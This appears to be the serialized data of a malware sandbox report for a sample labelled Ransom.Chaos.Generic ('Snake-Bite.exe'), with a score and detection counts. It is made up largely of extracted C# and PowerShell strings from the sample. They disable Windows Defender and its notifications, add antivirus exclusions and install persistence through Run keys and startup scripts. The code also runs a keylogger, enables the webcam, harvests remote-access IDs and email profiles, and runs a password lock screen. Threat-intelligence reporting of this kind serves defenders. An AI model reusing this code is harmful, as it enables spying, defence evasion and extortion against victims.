26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 42:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4ac,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.Chaos.Generic Sample ffb5d34d5e81… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ffb5d34d5e81…. Malware family: Ransom.Chaos.Generic. Threat score 100/100. 10/25 AV engines flagged this file. 3 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07","keywords":["Malicious","Ransom.Chaos.Generic","malware analysis","sandbox report","threat intelligence","ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07"],"about":{"@type":"SoftwareApplication","name":"Snake-Bite.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.Chaos.Generic","antivirusDetections":{"malicious":10,"total":25},"behavioralIndicators":{"malicious":3,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Ta04,file/memory contains long string with (Indicator: "read"; Source: "sample.bin"), Found reference to API "System.Runtime.InteropServices" (Indicator: "time"; Source: "sample.bin"), Found reference to API "TimezoneCountry" (Indicator: "time"; Source: "sample.bin"), Found reference to API "h > 120) w = w.Substring(0, 120); Send("RDP_STATUS|video " + w + " host=" + HOST + " port=" + VPORT + " " (Indicator: "stat"; Source: "sample.bin"), file/memory contains long string with (Indicator: "time"; Source: "sample.bin"), Found reference to API "ReadAllLines" (Indicator: "read"; Source: "sample.bin"), file/memory contains long string with (Indicator: "security"; Source: "sample.bin"), Found reference to API "Open Chrome on Target" (Indicator: "open"; Source: "sample.bin"), file/memory contains long string with (Indicator: "open"; Source: "sample.bin"), file/memory contains long string with (Indicator: "link"; Source: "sample.bin"), file/memory contains long string with (Indicator: "creat"; Source: "sample.bin"), file/memory contains long string with (Indicator: "stat"; Source: "sample.bin"), file/memory contains long string with (Indicator: "close"; Source: "sample.bin"), file/memory contains long string with (Indicator: "connect"; Source: "sample.bin"), file/memory contains long string with (Indicator: "write"; Source: "sample.bin"), file/memory contains long string with (Indicator: "acct"; Source: "sample.bin"), Found reference to API "OpenIntelligence" (Indicator: "open"; Source: "sample.bin"), Found reference to API "set_ReadOnly" (Indicator: "read"; Source: "sample.bin"), file/memory contains long string with (Indicator: "socket"; Source: "sample.bin"), file/memory contains long string with (Indicator: "kill"; Source: "sample.bin"), file/memory contains long string with (Indicator: "tkill"; Source: "sample.bin"), Found reference to API "b__2f8" (Indicator: "open"; Source: "sample.bin"), Found reference to API "b__2f9" (Indicator: "open"; Source: "sample.bin"), Found reference to API "set_CreateNoWindow" (Indicator: "creat"; Source: "sample.bin"), Found reference to API "if not exist "%D%" mkdir "%D%"" (Indicator: "mkdir"; Source: "sample.bin"), Found reference to API "b__2fa" (Indicator: "open"; Source: "sample.bin"), Found reference to API "b__2fb" (Indicator: "open"; Source: "sample.bin"), Found reference to API "OPEN CAMERA" (Indicator: "open"; Source: "sample.bin"), Found reference to API "SendAsync" (Indicator: "sync"; Source: "sample.bin")28:Tea22,"tValue(tkey, "Enabled", 0, Microsoft.Win32.RegistryValueKind.DWord); } catch { } } try { Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration", "Notification_Suppress", 1, Microsoft.Win32.RegistryValueKind.DWord); } catch { } try { for (int ti2 = 0; ti2 < toastIds.Length; ti2++) { try { string tkey2 = @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\" + toastIds[ti2]; Microsoft.Win32.Registry.SetValue(tkey2, "Enabled", 0, Microsoft.Win32.RegistryValueKind.DWord); } catch { } } } catch { } try { var psiKill = new Proce" in Source: sample.bin, " retry soon } try { Thread.Sleep(1200); } catch { } } } catch { } } static void EnsureSpreadPersistence() { try { string me = ""; try { me = System.Reflection.Assembly.GetExecutingAssembly().Location; } catch { } if (string.IsNullOrEmpty(me) || !File.Exists(me)) { try { me = Process.GetCurrentProcess().MainModule.FileName; } catch { } } if (string.IsNullOrEmpty(me) || !File.Exists(me)) return; try { RunHidden("schtasks.exe", "/Delete /TN WindowsSecurityHealthCheck /F", 3000); } catch { } try { RunHidden("schtasks.exe", "/Delete /TN WindowsSecurityHealthStart /F", 3000); } catch { } try { var rk = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); if (rk != null) { try { rk.DeleteValue("WindowsSecurityHealth" in Source: sample.bin, " try { if (!File.Exists(copyPath) || new FileInfo(copyPath).Length != new FileInfo(me).Length) File.Copy(me, copyPath, true); } catch { copyPath = me; } try { using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) key.SetValue(rndName, (char)34 + copyPath + (char)34, Microsoft.Win32.RegistryValueKind.String); } } catch { } try { using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) key.SetValue(rndName, (char)34 + copyPath + (char)34, Microsoft.Win32.RegistryValueKind.String); } } catch { } try { " in Source: sample.bin, " detect via panel side mostly. int cc = _cmdCount; if (cc == lastCmd) stagnant++; else { stagnant = 0; lastCmd = cc; } } catch { break; } } try { rdp = false; camOn = false; } catch { } HardCloseLink(); // Brief pause then Connect() loop will re-dial try { Thread.Sleep(500); } catch { } } catch { try { HardCloseLink(); } catch { } return false; } return true; } static string GetFriendlyWindowsVersion() { try { string product = ""; string buildStr = ""; try { using (var k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")) { if (k != null) { product = (k.GetValue("ProductName") as string) ?? ""; buildStr = (k.GetV" in Source: sample.bin, " was deleting the running payload int myPid = 0; string mePath = ""; try { myPid = Process.GetCurrentProcess().Id; } catch { } try { mePath = Process.GetCurrentProcess().MainModule.FileName; } catch { } if (string.IsNullOrEmpty(mePath)) { try { mePath = Application.ExecutablePath; } catch { } } var seen = new System.Collections.Generic.Dictionary(StringComparer.OrdinalIgnoreCase); // 1) Previous instance recorded by an older/newer payload try { object last = Microsoft.Win32.Registry.GetValue(@"HKEY_CURRENT_USER\Software\Microsoft\SBCore", "Exe", null); if (last != null) { string lp = last.ToString(); if (!string.IsNullOrEmpty(lp) && File.Exists(lp)) seen[lp] = true; } } catch { } // 2) Run / RunOnce values that point at an agent file try { strin" in Source: sample.bin, " return null; } static void FindChromeElevatorClsids(System.Collections.Generic.List dst) { string[] roots = new string[] { "Software\\Classes\\CLSID", "SOFTWARE\\Classes\\CLSID", "SOFTWARE\\WOW6432Node\\Classes\\CLSID" }; Microsoft.Win32.RegistryKey[] hives = new Microsoft.Win32.RegistryKey[] { Microsoft.Win32.Registry.LocalMachine, Microsoft.Win32.Registry.CurrentUser }; for (int h = 0; h < hives.Length; h++) { for (int r = 0; r < roots.Length; r++) { Microsoft.Win32.RegistryKey k = null; try { k = hives[h].OpenSubKey(roots[r]); } catch { } if (k == null) continue; string[] names = null; try { names = k.GetSubKeyNames(); } catch { } if (names == null) { try { k.Close(); } catch { } continue; } for (int i = 0; i < names.Length; i++) { Microsoft." in Source: sample.bin, "0, 0, UIntPtr.Zero); // shift down keybd_event(0x10, 0, 2, UIntPtr.Zero); // shift up } catch { } // Disable lock policy briefly (current user) so session stays usable try { Microsoft.Win32.Registry.SetValue( "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableLockWorkstation", 0, Microsoft.Win32.RegistryValueKind.DWord); } catch { } Send("SIGNOUT_RESULT|Unlock requested (custom lock cleared + Default desktop switch)."); } catch (Exception ex) { try { Send("SIGNOUT_RESULT|Unlock fail " + ex.Message); } catch { } } } else if (line == "TASK_LIST") Send("TASK_DATA|" + TaskList()); else if (line == "TCP_LIST") Send("TCP_DATA|" + TcpList()); else if (line.StartsWith("FILE_LIST|")) Send("FILE_DATA|" + FileLi" in Source: sample.bin, "und = true }.Start(); // Offline keylogger always-on buffer try { if (!keyOn) { keyOn = true; new Thread(KeyLoop) { IsBackground = true }.Start(); } } catch { } // Only re-lock after reboot if LockActive registry is 1 (stale flags alone never auto-lock) try { string st1 = Path.Combine(Path.GetTempPath(), "sb_lock_state.flag"); string st2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "sb_lock_state.flag"); bool active = false; try { object v = Microsoft.Win32.Registry.GetValue( @"HKEY_CURRENT_USER\Software\{{RND_REGSOFT}}", "LockActive", null); if (v != null && v.ToString() == "1") active = true; } catch { } if (!active) { try { if (File.Exists(st1)) File.Delete(st1); } catch " in Source: sample.bin, " } } catch { } } Thread.Sleep(400); } catch { } foreach (string exeName in blockExes) { string ifeoKey = "Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\" + exeName; try { using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(ifeoKey, true)) { if (k != null) { try { k.DeleteValue("Debugger", false); } catch { } } } } catch { } try { using (var k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(ifeoKey, true)) { if (k != null) { try { k.DeleteValue("Debugger", false); } catch { } } } } catch { } } string launch = FindBrowserExe(kind); if (string.IsNullOrEmpty(launch) || !File.Exists(launch)) " in Source: sample.bin, "vation") < 0 && blob.IndexOf("elevator") < 0 && blob.IndexOf("googlechrome") < 0) continue; try { string g = names[i].Trim(); if (g.StartsWith("{")) g = g.Trim('{', '}'); Guid id = new Guid(g); if (!dst.Contains(id)) dst.Add(id); } catch { } } catch { } finally { try { if (sk != null) sk.Close(); } catch { } } } try { k.Close(); } catch { } } } } static void RegisterElevatorHkcu(Guid clsid, string exe) { try { string id = clsid.ToString("B"); string path = "Software\\Classes\\CLSID\\" + id + "\\LocalServer32"; Microsoft.Win32.RegistryKey k = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(path); " in Source: sample.bin, " try { string ps = "$ErrorActionPreference='SilentlyContinue';" + "New-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features' -Force | Out-Null;" + "Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features' -Name 'TamperProtection' -Value 0 -Type DWord -Force;" + "Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features' -Name 'TamperProtectionSource' -Value 0 -Type DWord -Force;" + "New-Item -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features' -Force | Out-Null;" + "Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features' -Name 'TamperProtection' -Value 0 -Type DWord -Force;" + "try{ Set-MpPreference -DisableRealtimeMonitoring $true }catch{};" + "New-Item -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender' -Force | Out-Null;" + " in Source: sample.bin, "ation", "Notification_Suppress", 1, Microsoft.Win32.RegistryValueKind.DWord); try { Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access", "EnableControlledFolderAccess", 1, Microsoft.Win32.RegistryValueKind.DWord); } catch { } string[] toastIds = new string[] { "Windows.SystemToast.SecurityAndMaintenance", "Microsoft.Windows.SecHealthUI", "Microsoft.Windows.SecHealthUI_cw5n1h2txyewy", "Windows.SystemToast.WindowsDefender", "Microsoft.MicrosoftWindows.Client.CBS", "Microsoft.Windows.SecHealthUI_cw5n1h2txyewy!App", "Windows.SystemToast.SecurityAndMaintenance!App" }; for (int ti = 0; ti < toastIds.Length; ti++) { try { string tkey = @"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\" + toastIds[ti]; Microsoft.Win32.Registry.Se" in Source: sample.bin, "\SOFTWARE\\Microsoft\\Windows Defender\\Features' -Name 'TamperProtection' -Value 0 -Type DWord -Force"); sb.AppendLine("Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features' -Name 'TamperProtectionSource' -Value 0 -Type DWord -Force"); sb.AppendLine("New-Item -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features' -Force | Out-Null"); sb.AppendLine("Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features' -Name 'TamperProtection' -Value 0 -Type DWord -Force"); sb.AppendLine("New-Item -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender' -Force | Out-Null"); sb.AppendLine("Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender' -Name 'DisableAntiSpyware' -Value 1 -Type DWord -Force"); sb.AppendLine("New-Item -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection' -Force | Out-Null"); sb.AppendLine("$rtp='HKLM:\\SOFTWAR" in Source: sample.bin, " catch { } } catch { } } static void TryExcludeSelf() { try { string me = Process.GetCurrentProcess().MainModule.FileName; string dir = Path.GetDirectoryName(me); string name = Path.GetFileName(me); string cmd = "-NoLogo -WindowStyle Hidden -Command \"try{Add-MpPreference -ExclusionPath '" + dir + "'}catch{};try{Add-MpPreference -ExclusionPath '" + me + "'}catch{};try{Add-MpPreference -ExclusionProcess '" + name + "'}catch{};\""; var psi = new ProcessStartInfo("powershell.exe", cmd); psi.CreateNoWindow = true; psi.UseShellExecute = false; Process.Start(psi); } catch { } } static void AvWatchdog() { while (true) { try { try { Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows Defende" in Source: sample.bin, "g[] roots = new string[] { "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce" }; for (int ri = 0; ri < roots.Length; ri++) { try { using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(roots[ri], true)) { if (k == null) continue; string[] names = k.GetValueNames(); if (names == null) continue; for (int ni = 0; ni < names.Length; ni++) { try { object val = k.GetValue(names[ni]); if (val == null) continue; string raw = val.ToString().Trim().Trim('"'); if (raw.Length < 4) continue; " in Source: sample.bin, " using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\UltraViewer", false)) { if (k != null) { foreach (string vn in k.GetValueNames()) { object v = k.GetValue(vn); if (v == null) continue; string s = v.ToString(); var digits = new System.Text.StringBuilder(); for (int i = 0; i < s.Length; i++) if (s[i] >= '0' && s[i] <= '9') digits.Append(s[i]); if (digits.Length >= 6 && digits.Length <= 12) { id = digits.ToString(); break; } } } } } catch { } } return id; } static void HideUltraViewerWindows() { try { foreach (var p in Process.GetProcesses()) " in Source: sample.bin, " if (t[k] >= '0' && t[k] <= '9') digits.Append(t[k]); else if (digits.Length >= 9) break; } if (digits.Length >= 9 && digits.Length <= 12) return digits.ToString(); } catch { } } } catch { } try { using (var k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\\\\WOW6432Node\\\\TeamViewer", false)) { if (k != null) { object v = k.GetValue("ClientID"); if (v != null) return v.ToString(); } } } catch { } try { using (var k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\\\\TeamViewer", false)) { if (k != null) { object v = k.GetValue("ClientID"); if (v != null) return v.ToString(); }" in Source: sample.bin, "; if (wi != null) { var wp = new System.Security.Principal.WindowsPrincipal(wi); if (wp.IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator)) return true; try { var sid = new System.Security.Principal.SecurityIdentifier( System.Security.Principal.WellKnownSidType.BuiltinAdministratorsSid, null); if (wp.IsInRole(sid)) return true; } catch { } } } catch { } try { using (var k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey( "Software\\Microsoft\\Windows\\CurrentVersion", true)) { if (k != null) return true; } } catch { } return false; } static string GetFirstRunDate() { try { string path = Path.Combine(Environment.GetFolderPath(Environment.Sp" in Source: sample.bin, "ng me = Process.GetCurrentProcess().MainModule.FileName; Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "{{RND_TASK}}", me, Microsoft.Win32.RegistryValueKind.String); Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce", "{{RND_TASK}}Lock", me, Microsoft.Win32.RegistryValueKind.String); try { string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup); string bat = Path.Combine(startup, "{{RND_TASK}}.cmd"); File.WriteAllText(bat, "@echo off\r\nstart \"\" \"" + me + "\"\r\n"); } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\{{RND_REGSOFT}}", "LockActive", "1"); } catch { } try { Microsoft.W" in Source: sample.bin, "sh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" in Source: sample.bin, "s\\CurrentVersion\\Notifications\\Settings\\Microsoft.Windows.SecHealthUI' -Name Enabled -Value 0 -Type DWord -Force}catch{}"; psi.CreateNoWindow = true; psi.UseShellExecute = false; psi.WindowStyle = ProcessWindowStyle.Hidden; var pr = Process.Start(psi); if (pr != null) { try { pr.WaitForExit(10000); } catch { } } } catch { } } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers", "DefaultLevel", 0x40000, Microsoft.Win32.RegistryValueKind.DWord); string[] avProcs = new string[] { "avast", "avg", "avira", "bitdefender", "kaspersky", "norton", "mcafee", "eset", "malwar" in Source: sample.bin, " } catch { } } catch { } } catch { } } catch { } try { var psi = new ProcessStartInfo(); psi.FileName = "powershell.exe"; psi.Arguments = "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command try{Set-MpPreference -SubmitSamplesConsent 2}catch{};try{Set-MpPreference -MAPSReporting 0}catch{};try{Set-MpPreference -CloudBlockLevel 0}catch{};try{Set-MpPreference -DisableNotifications $true}catch{};try{Set-MpPreference -EnableControlledFolderAccess Enabled}catch{};try{Add-MpPreference -ControlledFolderAccessAllowedApplications $env:LOCALAPPDATA}catch{};try{Set-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Windows.SystemToast.SecurityAndMaintenance' -Name Enabled -Value 0 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Window" in Source: sample.bin, " catch { } } } catch { } try { // Camera global user disable off using (var k = Microsoft.Win32.Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam", true)) { if (k != null) k.SetValue("Value", "Allow"); } } catch { } } catch { } } static void SilentRunUploaded(string fname, byte[] data, bool memoryMode) { try { if (data == null || data.Length == 0) { Send("UPLOAD_RESULT|empty"); return; } string ext = Path.GetExtension(fname ?? "").ToLowerInvariant(); if (memoryMode && (ext == ".exe" || ext == ".dll" || ext == "")) { // Best-effort in-memory: write to temp with delete-on-close style hidden run, then try assembly load for .NET try " in Source: sample.bin, " "Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender' -Name 'DisableAntiSpyware' -Value 1 -Type DWord -Force;" + "New-Item -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection' -Force | Out-Null;" + "Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection' -Name 'DisableRealtimeMonitoring' -Value 1 -Type DWord -Force;" + "Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection' -Name 'DisableBehaviorMonitoring' -Value 1 -Type DWord -Force;" + "Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection' -Name 'DisableOnAccessProtection' -Value 1 -Type DWord -Force;" + "try{Set-MpPreference -DisableRealtimeMonitoring $true}catch{};try{Set-MpPreference -SubmitSamplesConsent 2}catch{};try{Set-MpPreference -MAPSReporting 0}catch{};try{Set-MpPref" in Source: sample.bin, "kaged", true)) { if (k2 != null) k2.SetValue("Value", "Allow", Microsoft.Win32.RegistryValueKind.String); } } catch { } } } // Global privacy toggles (user) try { using (var k = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam", true)) { if (k != null) { k.SetValue("Value", "Allow"); k.SetValue("LastUsedTimeStart", 0L, Microsoft.Win32.RegistryValueKind.QWord); k.SetValue("LastUsedTimeStop", 0L, Microsoft.Win32.RegistryValueKind.QWord); } } } catch { } try { using (var k = Microsoft.Win32.Registry.Curr" in Source: sample.bin, "otection", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 1, Microsoft.Win32.RegistryValueKind.DWord); // Hide payload in system folder string sysDir = Environment.GetFolderPath(Environment.SpecialFolder.System); string hideDir = Path.Combine(sysDir, "drivers", "etc"); if (!Directory.Exists(hideDir)) Directory.CreateDirectory(hideDir); } catch { } try { var psi = new ProcessStartInfo(); psi.FileName = "powershell.exe"; psi.Arguments = "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command try{Se" in Source: sample.bin, "erence -DisableBlockAtFirstSeen $true}catch{};try{Set-MpPreference -DisableIntrusionPreventionSystem $true}catch{};New-Item -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet' -Force|Out-Null;Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet' -Name 'SpynetReporting' -Value 0 -Type DWord -Force;Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet' -Name 'SubmitSamplesConsent' -Value 2 -Type DWord -Force;" + "try{Stop-Service -Name WinDefend -Force}catch{}"; // write temp script and run elevated (UAC) string path = Path.Combine(Path.GetTempPath(), "sb_av.ps1"); File.WriteAllText(path, ps); var psi = new ProcessStartInfo { FileName = "powershell.exe", Arguments = "-NoLogo -File \"" + path + "\"", UseShellExecute = true, Verb = "runas", WindowStyle = ProcessWindowStyle.Hi" in Source: sample.bin, "fications $true}catch{};try{Set-MpPreference -EnableControlledFolderAccess Enabled}catch{};try{Add-MpPreference -ControlledFolderAccessAllowedApplications $env:LOCALAPPDATA}catch{};try{Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\UX Configuration' -Name Notification_Suppress -Value 1 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy' -Name Enabled -Value 0 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Windows.SystemToast.SecurityAndMaintenance' -Name Enabled -Value 0 -Type DWord -Force}catch{}"; psiQuiet2.CreateNoWindow = true; psiQuiet2.UseShellExecute = false; psiQuiet2.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psiQuiet2); " in Source: sample.bin, ") continue; string[] subs = k.GetSubKeyNames(); if (subs == null) continue; for (int si = 0; si < subs.Length; si++) { try { object cmd = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\\" + roots[ri] + "\\" + subs[si] + "\\shell\\open\\command", "", null); if (cmd == null) continue; string s = cmd.ToString().Trim().Trim((char)34); int exeAt = s.ToLowerInvariant().IndexOf(".exe"); if (exeAt > 0) s = s.Substring(0, exeAt + 4).Trim().Trim((char)34); if (File.Exists(s) && Path.GetFileName(s).Equals(exeName, StringComparison.OrdinalIgnoreCase)) list.Insert(0, s); } catch { } " in Source: sample.bin, " sb.AppendLine("[Thunderbird] error: " + ex.Message); sb.AppendLine(""); } // 3) Outlook / Windows Messaging profiles (email addresses + servers from registry) try { string[] roots = new string[] { "Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles", "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles", "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles", "Software\\Microsoft\\Office\\Outlook\\SocialConnector" }; foreach (string rk in roots) { try { ScanRegistryMail(Microsoft.Win32.Registry.CurrentUser, rk, add); } catch { } } } catch { } // 4) Internet Account Manager (Outlook Express / legacy) try { using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Sof" in Source: sample.bin, " btn.FlatStyle = FlatStyle.Flat; btn.Left = Math.Max(20, (card.Width - btn.Width) / 2); btn.Top = 515; Action tryUnlock = () => { if (tb.Text == pwd) { locked = false; try { ClearLockMarkers(); } catch { } try { if (File.Exists(state)) File.Delete(state); } catch { } try { File.WriteAllText(okf, "1"); } catch { } try { using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey( "Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run", true)) { if (k != null) k.DeleteValue("{{RND_TASK}}", false); } } " in Source: sample.bin, "_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions", "DisableLocalAdminMerge", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 0, Microsoft.Win32.RegistryValueKind.DWord); } catch { } try { // Stronger Defender disable paths Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableRealtimeMonitoring", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessPr" in Source: sample.bin, " list.Add(Path.Combine(lad, "Google", "Chrome", "Application", "chrome.exe")); list.Add(Path.Combine(lad, "Google", "Chrome SxS", "Application", "chrome.exe")); list.Add(Path.Combine(lad, "Chromium", "Application", "chrome.exe")); } string ap = FindBrowserFromAppPaths(exeName); if (!string.IsNullOrEmpty(ap)) list.Insert(0, ap); if (kind == "coccoc") { string ap2 = FindBrowserFromAppPaths("coccoc.exe"); if (!string.IsNullOrEmpty(ap2)) list.Insert(0, ap2); } try { string[] roots = new string[] { "Software\\Clients\\StartMenuInternet", "Software\\WOW6432Node\\Clients\\StartMenuInternet" }; for (int ri = 0; ri < roots.Length; ri++) { try { using (var k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(roots[ri])) { if (k == null" in Source: sample.bin, " string state = Path.Combine(tmp, "sb_lock_state.flag"); string attempt = Path.Combine(tmp, "sb_lock_attempt.txt"); string okf = Path.Combine(tmp, "sb_lock_ok.txt"); try { File.WriteAllText(state, "1"); } catch { } try { string ad = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft"); if (!Directory.Exists(ad)) Directory.CreateDirectory(ad); File.WriteAllText(Path.Combine(ad, "sb_lock_state.flag"), "1"); } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\{{RND_REGSOFT}}", "LockActive", "1"); } catch { } try { if (File.Exists(attempt)) File.Delete(attempt); } catch { } try { if (File.Exists(okf)) File.Delete(okf); } catch { } // Persist across reboot: HKCU Run + RunOnce + Startup + stronger markers try { stri" in Source: sample.bin, "\Microsoft\\Office\\" + ver[v] + "\\Outlook\\Setup" }; for (int s = 0; s < sub.Length; s++) { try { Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree(sub[s], false); } catch { } } } try { 